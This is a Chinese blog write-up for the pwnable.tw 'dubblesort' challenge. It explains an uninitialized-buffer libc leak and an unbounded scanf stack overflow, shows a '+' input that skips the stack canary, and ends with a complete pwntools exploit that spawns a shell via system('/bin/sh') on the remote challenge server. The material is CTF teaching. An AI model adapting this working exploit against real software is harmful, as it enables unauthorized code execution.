pwnable.tw新手向write up(一)
pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持
看一下防护,全开了
[0] % checksec dubblesort [*] '/home/dylan/desktop/pwnable_tw/dubblesort/dubblesort' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
IDA看一下程序结构,其实简单的很.大体就是一个输入几个数字然后冒泡排序并打印.以下为溢出点:
__printf_chk(1, "What your name :"); read(0, &name_buf, 0x40u); // no null __printf_chk(1, "Hello %s,How many numbers do you what to sort :", &name_buf); __isoc99_scanf("%u", &number_count); eax_number_count = number_count; if ( number_count ) // did not check number_count = stack overflow { number_buf_ptr = &number_buf; index = 0; do { __printf_chk(1, "Enter the %d number : ", index); fflush(stdout); __isoc99_scanf("%u", number_buf_ptr); ++index; eax_number_count = number_count; ++number_buf_ptr; } while ( number_count > index ); }
读取名字的时候并没有进行截断,会造成信息泄露.其次在数字的数量上并没有限制,又因为数字是保存在栈上的,所以我们获得了栈溢出.
利用方法
用gdb断在输出姓名那一行代码上,观察栈的构造,看有没有重要信息可供泄露.
► 0x56555a18 <main+85> call read@plt <0x56555630> fd: 0x0 buf: 0xffffd54c ◂— 0xaf17 nbytes: 0x40
0f:003c│ esi 0xffffd54c ◂— 0xaf17 10:0040│ 0xffffd550 —▸ 0xffffd783 ◂— '/home/dylan/desktop/pwnable_tw/dubblesort/dubblesort' 11:0044│ 0xffffd554 ◂— 0x2f /* '/' */ 12:0048│ 0xffffd558 —▸ 0x56555034 ◂— push es 13:004c│ 0xffffd55c ◂— 0x16 14:0050│ 0xffffd560 ◂— 0x8000 15:0054│ 0xffffd564 —▸ 0xf7fb6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
我们可以看到栈的下方偏移为6的地方存有GOT表,我们可以泄露这个地址,然后获得libc加载的基地址.接着readelf获得libc.so文件中got的偏移(省略了无关信息)
[127] % readelf -S libc.so.6 共有 68 个节头,从偏移量 0x1b0cc8 开始: 节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ...... [31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4 ......
现在只要我们泄露GOT的地址,再减去偏移地址0x001b0000,就得到了libc.so文件的加载地址.
得到libc基地址就可以计算出system函数以及'/bin/sh'字符串所在的地址,现在目标地址以及有了,只需要控制eip就可以了.这个溢出也很简单,只要用scanf覆盖返回地址就可以了,但这个题最难搞定的点就在这里,他开了Canary检测,如果我们想要覆盖返回地址,那就会覆盖Canary,导致溢出失败,所以要先想办法解决Canary.
我最先想到的是非法输入,scanf读取的是一个%u,我们随便输一个字符,但是读取数字的这个循环只对stdout进行了清空,而没有对输入进行清空,所以这个非法输入会导致后面的输入也全都无效,自然不能覆盖返回地址.
//非法输入的结果 [0] % ./dubblesort What your name :0x2l Hello 0x2l,How many numbers do you what to sort :10 Enter the 0 number : 1 Enter the 1 number : 2 Enter the 2 number : 3 Enter the 3 number : 4 Enter the 4 number : 5 Enter the 5 number : fuck Enter the 6 number : Enter the 7 number : Enter the 8 number : Enter the 9 number : Processing...... Result : 0 1 2 3 4 5 1815246896 4160405504 4292118532 4292118538 %
那有没有一个既合法又不会改变数值的输入呢?有,那就是'+'和'-'.这两个符号可以定义正负,所以会被识别为合法输入,但是仅凭一个加号或者减号scanf又无法获得有效数值,所以这次输入是"合法且无效的",正好满足我们对Canary所在地址的操作.和非法输入不同的是,上一次无效的scanf并不会影响接下来的scanf,scanf识别不到有效数据的话会继续中断等待我们的输入.这样,我们可以肆意修改栈上的数据,只要在Canary地址处输入一个'+'来跳过他.
现在所有需要的东西都已经具备了,可以开始构建我们的payload了.
先看一下程序开头那一堆变量:
int eax_number_count; // eax int *number_buf_ptr; // edi unsigned int index; // esi unsigned int index_1; // esi int result; // eax unsigned int number_count; // [esp+18h] [ebp-74h] int number_buf; // [esp+1Ch] [ebp-70h] char name_buf; // [esp+3Ch] [ebp-50h] unsigned int canary; // [esp+7Ch] [ebp-10h]
number_buf就是我们保存输入数字的地方,而canary的相对偏移为0x60,canary相对返回地址的偏移为0x1c.返回地址之后我们还需要再填充一个返回地址(随便写)和'/bin/sh'的地址作为参数.
exp
# -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'dubblesort' elf = context.binary = ELF(exe) ctx.custom_lib_dir = '/home/dylan/glibc-all-in-one/libs/2.23-0ubuntu10_i386' #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10101) #don't forget to change it #ctx.binary = './' + 'dubblesort' ctx.binary = exe libc = args.LIBC or 'libc.so.6' elf_libc = ELF(libc) ctx.debug_remote_libc = True ctx.remote_libc = libc if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # FORTIFY: Enabled def exp(): # leak libc_base io.sendline('a' * 24) # sendline will send a '\n' to cover 0x00 io.recvuntil('a' * 24) libc_base = (u32(io.recvn(4)) & 0xffffff00) - 0x001b0000 log.success('libc_base = ' + hex(libc_base)) system_off = elf_libc.symbols['system'] log.success('system_addr = ' + hex(libc_base+system_off)) bin_sh_off = next(elf_libc.search('/bin/sh\0')) log.success('bin_sh_addr = ' + hex(libc_base+bin_sh_off)) # stack overflow io.sendline(str(35)) # number_count for i in range(24): # junk io.sendlineafter('number : ', str(1)) io.sendlineafter('number : ', '+') # canary for i in range(9): io.sendlineafter('number : ', str(libc_base+system_off)) # return address io.sendlineafter('number : ', str(libc_base+bin_sh_off)) # /bin/sh if __name__ == '__main__': exp() io.interactive()
关于我
blog:https://0x2l.github.io/